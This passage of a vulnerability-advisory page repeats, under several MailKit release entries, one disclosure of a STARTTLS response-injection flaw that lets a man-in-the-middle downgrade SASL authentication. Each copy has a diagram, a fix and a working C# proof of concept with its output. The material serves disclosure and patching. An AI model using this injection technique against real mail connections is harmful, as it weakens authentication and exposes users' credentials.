  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Sep 28, 2025

4.13.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

Jun 25, 2025

4.12.1 patch

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.3.0-rc1-1


            1.4.0


            1.4.1


            1.4.2


            1.4.2.1


            1.6.0


            1.8.0


            1.8.1


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.0.1


            2.1.0.2


            2.1.0.3


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.11.1


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.2.0


            2.3.0


            2.3.1


            2.3.1.6


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.12.1


            4.13.0


            4.14.0


            4.14.1


            4.15.0


            4.15.1


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.7.1.1


            4.8.0


            4.9.0

Fixed in


          4.16.0

References

Updated May 05, 2026 · Source: OSV.dev

May 17, 2025

4.12.0 minor

1 CVE

CVE-2026-41319 GHSA-9j88-vvj5-vhgr Apr 18, 2026

MailKit has STARTTLS Response Injection via unflushed stream buffer that enables SASL mechanism downgrade

6.5 / 10

Medium

Network Low None Required Unchanged None High None

Summary

A STARTTLS Response Injection vulnerability in MailKit allows a Man-in-the-Middle attacker to inject arbitrary protocol responses across the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade (e.g., forcing PLAIN instead of SCRAM-SHA-256). The internal read buffer in SmtpStream, ImapStream, and Pop3Stream is not flushed when the underlying stream is replaced with SslStream during STARTTLS upgrade, causing pre-TLS attacker-injected data to be processed as trusted post-TLS responses. This is the same vulnerability class as CVE-2021-23993 (Thunderbird), CVE-2021-33515 (Dovecot), and CVE-2011-0411 (Postfix).

Details

The Stream property in SmtpStream (line 84-86), ImapStream, and Pop3Stream is a simple auto-property with no buffer reset:

public Stream Stream {
    get; internal set;  // ← No buffer reset on set!
}

During the STARTTLS upgrade in SmtpClient.cs (lines 1372-1389):

// Reads STARTTLS response — "220 Ready" consumed, any extra data stays in buffer
response = Stream.SendCommand("STARTTLS\r\n", cancellationToken);

// Swaps to TLS — buffer NOT flushed!
var tls = new SslStream(stream, false, ValidateRemoteCertificate);
Stream.Stream = tls;
SslHandshake(tls, host, cancellationToken);

// Reads EHLO response — processes INJECTED pre-TLS data from buffer first!
Ehlo(true, cancellationToken);

A MitM appends extra data after the "220 Ready\r\n" STARTTLS response. Both arrive in one TCP read into SmtpStream's 4096-byte internal buffer. ReadResponse() parses "220 Ready" and stops — the injected data remains at inputIndex. After Stream.Stream = tls, the buffer is not cleared. When Ehlo() calls ReadResponse(), it checks inputIndex == inputEnd — this is FALSE (injected data exists), so it processes the buffered pre-TLS data without reading from the new TLS stream.

The same pattern exists in ImapClient.cs (lines 1485-1509) and Pop3Client.cs.

Attack flow:

Client                    MitM                     Real Server
  |--- STARTTLS ---------->|--- STARTTLS ----------->|
  |                        |<-- 220 Ready -----------|
  |<-- "220 Ready\r\n"-----|                         |
  |    "250-evil\r\n"       |  ← INJECTED            |
  |    "250 AUTH PLAIN\r\n" |  ← INJECTED            |
  |    "250 OK\r\n"         |  ← INJECTED            |
  |===== TLS HANDSHAKE ====|==== PASSES THROUGH =====|
  |--- EHLO (over TLS) --->|                         |
  | Reads from BUFFER:     |                         |
  | "250 AUTH PLAIN"       |  ← PRE-TLS DATA        |
  | PROCESSED AS POST-TLS! |                         |

Suggested fix: Reset buffer indices when the stream is replaced:

internal set { stream = value; inputIndex = inputEnd; }

PoC

Self-contained C# PoC — creates a fake SMTP server that injects a crafted EHLO response into the STARTTLS reply:

using System; using System.Net; using System.Net.Security; using System.Net.Sockets;
using System.Security.Cryptography; using System.Security.Cryptography.X509Certificates;
using System.Text; using System.Threading; using System.Threading.Tasks;
using MailKit.Net.Smtp; using MailKit.Security;

class PoC {
    static void Main() {
        using var rsa = RSA.Create(2048);
        var req = new CertificateRequest("CN=test", rsa, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1);
        var cert = new X509Certificate2(req.CreateSelfSigned(
            DateTimeOffset.UtcNow.AddDays(-1), DateTimeOffset.UtcNow.AddDays(365)).Export(X509ContentType.Pfx));

        var listener = new TcpListener(IPAddress.Loopback, 0);
        listener.Start();
        int port = ((IPEndPoint)listener.LocalEndpoint).Port;

        Task.Run(() => {
            using var tcp = listener.AcceptTcpClient();
            var s = tcp.GetStream();
            Send(s, "220 evil.example.com ESMTP\r\n");
            Read(s);
            Send(s, "250-evil.example.com\r\n250-STARTTLS\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Read(s);
            // ATTACK: inject fake EHLO response after "220 Ready"
            Send(s, "220 Ready\r\n250-evil.example.com\r\n250-AUTH PLAIN LOGIN\r\n250 OK\r\n");
            var ssl = new SslStream(s, false);
            ssl.AuthenticateAsServer(cert, false, false);
            ReadSsl(ssl);
            SendSsl(ssl, "250-evil.example.com\r\n250-AUTH SCRAM-SHA-256\r\n250 OK\r\n");
            Thread.Sleep(2000);
        });

        using var client = new SmtpClient();
        client.ServerCertificateValidationCallback = (a, b, c, d) => true;
        client.Connect("127.0.0.1", port, SecureSocketOptions.StartTls);
        Console.WriteLine($"Auth mechanisms: {string.Join(", ", client.AuthenticationMechanisms)}");
        // OUTPUT: "Auth mechanisms: PLAIN, LOGIN"
        // Server advertised SCRAM-SHA-256 — DOWNGRADE CONFIRMED
        client.Disconnect(false); listener.Stop();
    }
    static void Send(NetworkStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string Read(NetworkStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
    static void SendSsl(SslStream s, string d) { s.Write(Encoding.ASCII.GetBytes(d)); s.Flush(); }
    static string ReadSsl(SslStream s) { var b = new byte[4096]; return Encoding.ASCII.GetString(b, 0, s.Read(b)); }
}

Result against MailKit 4.12.0:

Auth mechanisms: PLAIN, LOGIN
(Real server advertised SCRAM-SHA-256 — SASL mechanism DOWNGRADE achieved)

Impact

Any application using MailKit with SecureSocketOptions.StartTls or StartTlsWhenAvailable (the default) is vulnerable. A network Man-in-the-Middle attacker can inject arbitrary SMTP/IMAP/POP3 responses that cross the plaintext-to-TLS trust boundary, enabling SASL authentication mechanism downgrade and capability manipulation. All three protocols (SMTP, IMAP, POP3) share the same vulnerable pattern. All MailKit versions through 4.12.0 are affected.

Affected versions


          0.1.0


          0.10.0


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.2.0

+ 176 more


            0.20.0


            0.21.0


            0.22.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.3.0


            0.4.0


            0.5.0


            0.6.0


            0.7.0


            0.8.0


            0.9.0


            0.90.0


            0.90.0.1


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            0.98.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.16


            1.0.17


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.10.2


            1.12.0


            1.14.0


            1.14.1


            1.14.2


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.18.1.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.11.1


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.16-beta1


            1.2.16-beta2


            1.2.17


            1.2.18


            1.2.19


            1.2.2


            1.2.20


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.3


            1.2.4


            1.2.5


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


